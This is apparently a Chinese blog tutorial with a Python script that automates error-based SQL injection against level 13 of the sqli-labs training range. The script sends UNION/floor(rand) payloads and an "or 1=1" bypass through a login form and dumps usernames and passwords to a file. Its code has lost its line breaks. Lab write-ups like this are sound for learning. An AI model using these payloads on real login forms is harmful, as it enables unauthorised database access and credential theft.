寧波網(wǎng)站建設(shè)服務(wù)報(bào)價(jià)百度自動(dòng)優(yōu)化
文章目錄
- 概要
- 整體架構(gòu)流程
- 技術(shù)細(xì)節(jié)
- 執(zhí)行效果
- 小結(jié)
概要
Sqli-Labs靶場(chǎng)對(duì)于網(wǎng)安專業(yè)的學(xué)生或正在學(xué)習(xí)網(wǎng)安的朋友來(lái)說(shuō)并不陌生,或者說(shuō)已經(jīng)很熟悉。那有沒有朋友想過自己開發(fā)一個(gè)測(cè)試腳本能實(shí)現(xiàn)自動(dòng)化化測(cè)試sqli-labs呢?可能有些人會(huì)說(shuō)不是有sqlmap,那我們又何須使用這個(gè)小腳本呢?這里我統(tǒng)一回答,sqlmap只是一個(gè)工具,工具始終是不能代替人的思考。開發(fā)這個(gè)測(cè)試的腳本他都是有針對(duì)性的,他是針對(duì)每一關(guān)的精心設(shè)計(jì)。但凡脫離實(shí)際都是在空想。我也是一直圍繞這個(gè)主題,所以想到了開發(fā)能自動(dòng)化測(cè)試sqli-labs靶場(chǎng)每一關(guān)的POC。最后這個(gè)只能用于有基礎(chǔ)的網(wǎng)安人進(jìn)行學(xué)習(xí),學(xué)習(xí)網(wǎng)安路還是不能投機(jī)取巧的。
本章適合人群:
- 網(wǎng)安專業(yè)學(xué)生
- 報(bào)班學(xué)習(xí)網(wǎng)安內(nèi)容的同學(xué)
- 提高寫POC能力的網(wǎng)安從業(yè)者
整體架構(gòu)流程
因?yàn)槭莝qli-labs的第13關(guān),且我覺得名字很是麻煩,所以我在寫腳本的時(shí)候錯(cuò)將sqli-labs寫成了sql-libs請(qǐng)見諒。如果你有強(qiáng)迫癥可以自行修改。
整體流程主要是仿爬蟲的形式訪問網(wǎng)頁(yè),之后將得到的數(shù)據(jù)記錄在和py文件同一級(jí)的目錄下面。
第13關(guān)使用的單引號(hào)括號(hào)注入。
請(qǐng)求方式是POST請(qǐng)求。
這個(gè)腳本唯一的缺陷就是出在后面的find_dbdata函數(shù)上面,該處使用不同的正則表達(dá)式就會(huì)篩選出不同的結(jié)果,最終的結(jié)果沒能拿到我本地部署的sqli-labs靶場(chǎng)的全部數(shù)據(jù)庫(kù)名和密碼。類似admin1這種用戶名和密碼篩選出來(lái)就可以拿到全部的數(shù)據(jù),這個(gè)算是這個(gè)小腳本的缺陷。有興趣的小伙伴可以進(jìn)一步研究。
技術(shù)細(xì)節(jié)
import requests
import re
import os
print("當(dāng)前工作目錄:", os.getcwd())# 全局變量
url = 'http://sql:8081/Less-13/'def find_dblength():headers = {'Host': 'sql:8081','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,''image/svg+xml,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Content-Type': 'application/x-www-form-urlencoded','Content-Length': '270', # 根據(jù)data參數(shù)的長(zhǎng)度進(jìn)行修改'Origin': 'http://sql:8081','Connection': 'close','Referer': 'http://sql:8081/Less-13/','Upgrade-Insecure-Requests': '1','Priority': 'u=0, i'}data = {'uname': "username') union select 1,2 from (select count(*),concat((select concat(database()) limit 0,1),""floor(rand(0)*2)) ""as x from information_schema.tables group by x) as alias-- -",'passwd': "') or 1=1-- -"}response = requests.post(url, headers=headers, data=data, verify=False)html_content = response.textmatch = re.search(r"Duplicate entry '([a-zA-Z]+)\d*' for key", html_content)if match:result = match.group(1)result_length = len(result)print(f"Result: {result}, Length: {result_length}")return result, result_lengthelse:print("No match found.")return None, 0def find_dbdata(result_length):file_path = os.path.join(os.getcwd(), 'result.txt')for i in range(result_length):headers = {'Host': 'sql:8081','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,''image/svg+xml,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Content-Type': 'application/x-www-form-urlencoded','Content-Length': '325', # 根據(jù)data參數(shù)的長(zhǎng)度進(jìn)行修改'Origin': 'http://sql:8081','Connection': 'close','Referer': 'http://sql:8081/Less-13/','Upgrade-Insecure-Requests': '1','Priority': 'u=0, i'}data = {'uname': f"username') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,"f"0x3a, 0x3a) from security.users limit {i},1),floor(rand(0)*2)) as x from information_schema.tables ""group by x) as alias-- -",'passwd': "') or 1=1-- -"}response = requests.post(url, headers=headers, data=data, verify=False)html_content = response.textmatch = re.search(r"'(.+?)::(.+?)::(\d+)'", html_content)if match:with open(file_path, "a") as file:file.write(f"{match.group(1)}, {match.group(2)}\n")else:print(f"No match found for entry {i}.")result, result_length = find_dblength()
if result_length > 0:find_dbdata(result_length)
執(zhí)行效果
小結(jié)
由于我的sqli-labs靶場(chǎng)是搭建在我的本機(jī),所以使用代碼時(shí)需要進(jìn)行修改。
且想輸出不一樣的文件內(nèi)容格式,也可以進(jìn)行微調(diào)整。
最后還是那句話網(wǎng)安的路上不會(huì)一帆風(fēng)順,還需腳踏實(shí)地一步一個(gè)腳印的前行,僅用于POC的學(xué)習(xí)使用,其他使用與作者無(wú)關(guān)。